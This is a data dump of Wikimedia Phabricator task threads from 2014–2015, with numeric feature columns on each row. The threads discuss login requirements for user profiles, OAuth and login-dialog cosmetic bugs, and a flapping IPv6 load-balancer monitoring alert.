+3495,User profile pages require login,"Bugzilla neither offers user profiles nor any such list displaying your own activity. If Bugzilla had linking of names, your email client would probably start instead. 
+So there's no regression and we could take a look in a few weeks if this would be worth to fix or not.
+
+>>! In T639#11563, @Nemo_bis wrote:
+> Work on a local fix.
+
+It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence.",,,1413567399,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+3544,User profile pages require login,"(See ""Is upstream Phabricator for me?"" on that: http://web.archive.org/web/20141019142039/https://secure.phabricator.com/T6347 )",,,1413728478,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1
+3492,User profile pages require login,"(See ""Is upstream Phabricator for me?"" on that: https://secure.phabricator.com/T4778 )",,,1413566821,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0
+3491,User profile pages require login,"If upstream has strong opinions, it's useless to discuss there. Work on a local fix.",,,1413566036,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+3264,User profile pages require login,"Upstream has a strong opinion about restricting user related information to All (registered) Users, not Public, and this has consequences like the one reported in this task.
+
+See https://secure.phabricator.com/T4830#58702 and feel free joining the discussion there. ",,,1412971677,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+623,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),"When I registered, phabricator linked mediawiki.org:/ Why the port syntax?",Lowest,10.0,1412953001,1533113116.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_description,declined,True,c3,1,True,False,False,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1
+1114093,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),">>! In T623#975232, @mmodell wrote:
+> This is unfortunately somewhat difficult to fix. Since it's a very minor cosmetic detail I don't expect to get around to fixing this any time soon.
+
+Have not seen anyone else expressing surprise or confusion about this detail plus difficult to fix, hence declining.",,,1533113116,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,3,True,,,160,True,1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+399332,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),@qgil: This is unfortunately somewhat difficult to fix. Since it's a very minor cosmetic detail I don't expect to get around to fixing this any time soon.,,,1421212909,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-25,True,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0
+398159,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),"@mmodell, what is your opinion on this one?",,,1421048830,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+3343,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),">>! In T623#10939, @Aklapper wrote:
+>> When I registered, phabricator linked mediawiki.org:/ Why the port syntax?
+> 
+> Linked where? At which state? Steps to reproduce welcome.
+
+The link shown in the panel at https://phabricator.wikimedia.org/settings/panel/external/
+In some other URLs the same panel is displayed.
+
+If you notice, the link to the profile has a semicolon at the end of the URL, which is redundant.
+{F249}",,,1413207733,,PHID-USER-a4yyvddir7idcctsjnic,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,False,,,-38,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+3333,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),"> When I registered, phabricator linked mediawiki.org:/ Why the port syntax?
+
+Linked where? At which state? Steps to reproduce welcome.",,,1413205650,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+3230,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),See {T574} for a related discussion.,,,1412958953,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+542,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case","Some improvements to the Wikimedia SUL dialog:
+
+* ""MediaWiki"" User
+* ""[[ https://www.mediawiki.org/wiki/User:Qgil-WMF | Qgil-WMF ]]"" (as suggested in T541 as well)
+
+Proposing this pre-Day, since it is part of the ""out of the box experience"", where it is worth to pay attention to these details. Unless it is really complicated to change MediaWiki for Wikimedia.
+
+{M2}",Lowest,10.0,1412362816,1533113369.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_description,declined,True,c3,1,True,False,False,-39,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+1114098,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case",">>! In T542#8253, @Qgil wrote:
+> Can the format of the link be improved as suggested above?
+
+https://phabricator.wikimedia.org/settings/panel/external/ now displays a colon instead of the HTML entity, plus spaces in the user name are displayed as + instead of an HTML entity. Fixed, I'd say. The dialog presented above does not exist anymore when registering via OAuth.
+
+>>! In T542#8253, @Qgil wrote:
+> Also, would it be possible to display 
+> 
+>> **""MediaWiki"" User**
+> 
+> instead of the current lower case?
+
+>>! In T542#8208, @mmodell wrote:
+> It's not entirely trivial to change
+
+Hence declining.",,,1533113369,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_subcomment,,True,c3,3,True,,,160,True,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+2947,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case","I guess the same restrictions as in T543 apply here, so no ""Wikimedia"". Good.
+
+Can the format of the link be improved as suggested above?
+
+Also, would it be possible to display 
+
+> **""MediaWiki"" User**
+
+instead of the current lower case?",,,1412415111,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1
+2937,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case",It's not entirely trivial to change,,,1412366627,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_subcomment,,True,c3,1,True,,,-39,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+57,Configure applications with public permissions (and user profiles) to not require users to login,"When I try to click one of the countless buttons in the left sidebar of the main page, most of the stuff is private (requires login). Everything must be public by default unless there is a reason (and separate decision) for it to be private.
+
+Update: Since we created this task, upstream has fixed basically all our reported problems with information not visible to anonymous users... except user profiles, and they seem to have [[ https://secure.phabricator.com/T4830#58706 | a strong opinion about it ]].",Lowest,10.0,1397721551,1418034975.0,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-mycectmrbyzthse6e64k,task_description,resolved,True,c3,1,True,False,True,-63,True,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,1
+337416,Configure applications with public permissions (and user profiles) to not require users to login,"Thanks for the heads-up. Indeed, closing for now. Separate things found in darker corners can become new tasks.",,,1418034975,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+336736,Configure applications with public permissions (and user profiles) to not require users to login,"Proposing to close this task as Resolved, knowing that the user profiles remain visible to All Users, and knowing as well that if we find another corner nor Public to everyoine it will be probably fixed quickly upstream.",,,1417785026,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+5095,Configure applications with public permissions (and user profiles) to not require users to login,">>! In T57#17177, @Qgil wrote:
+> I just filed [[ https://secure.phabricator.com/T6427 | ""Show Details"" link in Maniphest requires anonymous users to login ]] thanks to [[ https://www.mediawiki.org/wiki/Topic:S55u08x4g4lki8n7 | this report from Be..anyone ]].
+
+... and it was quickly resolved upstream.
+
+Since we created this task, upstream has fixed basically all our reported problems with information not visible to anonymous users... except user profiles, and they seem to have a strong opinion about it.
+
+Honestly, I don't think this is a too big deal. Phabricator is a collaboration tool open for anybody with a Wikimedia account, so this is how big the barrier is. I don't feel like picking a fight with upstream or this, and I think we have many other local priorities before tackling this one.",,,1415353498,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-34,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+4617,Configure applications with public permissions (and user profiles) to not require users to login,"I just filed [[ https://secure.phabricator.com/T6427 | ""Show Details"" link in Maniphest requires anonymous users to login ]] thanks to [[ https://www.mediawiki.org/wiki/Topic:S55u08x4g4lki8n7 | this report from Be..anyone ]].",,,1414674347,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-35,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+628,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-05-30 00:35:02 (UTC)`
+
++1",,,1410485125,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+627,Configure applications with public permissions (and user profiles) to not require users to login,"**aklapper** wrote on `2014-05-23 07:19:31 (UTC)`
+
+> If user profiles would be accessible only to registered users, would this block Day 1?
+
+Comparing to current Wikimedia Bugzilla which does not offer any user profiles at all I don't see any regression left here which should block Day 1. 
+Gerrit allows you querying for the activity of a person, but we don't plan to switch Code Review for Day 1 (board: http://fab.wmflabs.org/project/board/29/ ).
+
+I do not know whether accessing user profiles without being logged in is possible in **Trello and Mingle** and considered critical (if you think so, reasons are welcome).
+
+I propose to remove this ticket from Day 1 as anonymously accessing the other applications has been fixed upstream.",,,1410485125,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+626,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-05-18 19:37:52 (UTC)`
+
+You are welcome to follow [[ https://secure.phabricator.com/T4830#28 | the discussion upstream ]] about public user profiles and how convenient/appropriate this idea is.
+
+If user profiles would be accessible only to registered users, would this block Day 1? In my opinion this alone would not be a blocker, and therefore we could remove this task from the Day 1 project.",,,1410485124,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+625,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-05-13 18:34:27 (UTC)`
+
+As far as I can see, the only blocker for Day 1 is the possibility for anonymous users to see user profiles. The rest of problems are related with applications that are out of scope for Day 1.",,,1410485124,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+624,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-04-30 05:03:15 (UTC)`
+
+The reason to move it to ""Not critical for the RfC"" is that there is nothing to discuss here. All services must be public, and upstream agrees.
+
+This task is blocking {T43} directly, there is no way to forget about it. Moving it back.",,,1410485124,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+623,Configure applications with public permissions (and user profiles) to not require users to login,"**mattflaschen** wrote on `2014-04-30 00:16:50 (UTC)`
+
+Sorry, didn't mean to lower priority.",,,1410485123,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+622,Configure applications with public permissions (and user profiles) to not require users to login,"**mattflaschen** wrote on `2014-04-30 00:14:27 (UTC)`
+
+This is critical for the RFC in my opinion.  Another important example is Differential (the code review); that also currently requires login to view.",,,1410485123,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+621,Configure applications with public permissions (and user profiles) to not require users to login,"**Nemo_bis** wrote on `2014-04-18 19:27:09 (UTC)`
+
+It was definitely the majority of what I clicked. Not going to try again, they are too many: http://fab.wmflabs.org/settings/panel/home/",,,1410485123,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+620,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-04-18 16:57:06 (UTC)`
+
+Nemo, not all those apps are installed in our Phabricator, and in the final instance we will only install / show those that we intend to use. Here we have more options just because this is a test instance. Do you mind editing your comment and remove the noise?
+
+I have gone through the applications offered in our current install and I have filed a bug upstream for the apps that are configured as Public but require login.
+
+Applications with Public permissions requiring users to login
+https://secure.phabricator.com/T4830
+
+",,,1410485122,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0
+619,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-04-17 22:31:48 (UTC)`
+
+""Most of the stuff"" is not accurate. I found only Calendar, LegalPad, People, Owners. Hopefully  this is configurable by admins when installing the ""apps"".",,,1410485122,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0
+113154,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"We've been having the occasional alert flap on the LVS HTTPS IPv6 on mobile-lb.eqiad alert, which has even caused some opsens to completely ignore it. This is something that we should fix ASAP, as a) i's highly probable it's a real problem, b) it conditions us to ignore pages.
+
+I realized that despite his happening often, I have never been awake and/or present when this was happening. This made me go look at my IRC logs, which show this:
+```
+--- Day changed Tue Sep 08 2015
+04:06 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+04:10 < icinga-wm> RECOVERY - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 301 TLS Redirect - 505 bytes in 0.010 second response time
+--- Day changed Wed Sep 09 2015
+--- Day changed Thu Sep 10 2015
+--- Day changed Fri Sep 11 2015
+05:07 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+05:09 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10770 bytes in 0.137 second response time
+--- Day changed Sat Sep 12 2015
+--- Day changed Sun Sep 13 2015
+--- Day changed Mon Sep 14 2015
+00:08 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+00:10 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10772 bytes in 0.334 second response time
+--- Day changed Tue Sep 15 2015
+--- Day changed Wed Sep 16 2015
+04:38 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+04:40 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 0.114 second response time
+04:48 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+04:55 < icinga-wm> RECOVERY - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 301 TLS Redirect - 505 bytes in 1.008 second response time
+05:16 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+05:19 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 0.103 second response time
+--- Day changed Thu Sep 17 2015
+05:28 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+05:30 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 1.079 second response time
+05:50 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+05:51 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 0.079 second response time
+--- Day changed Fri Sep 18 2015
+04:45 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+04:46 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10514 bytes in 1.105 second response time
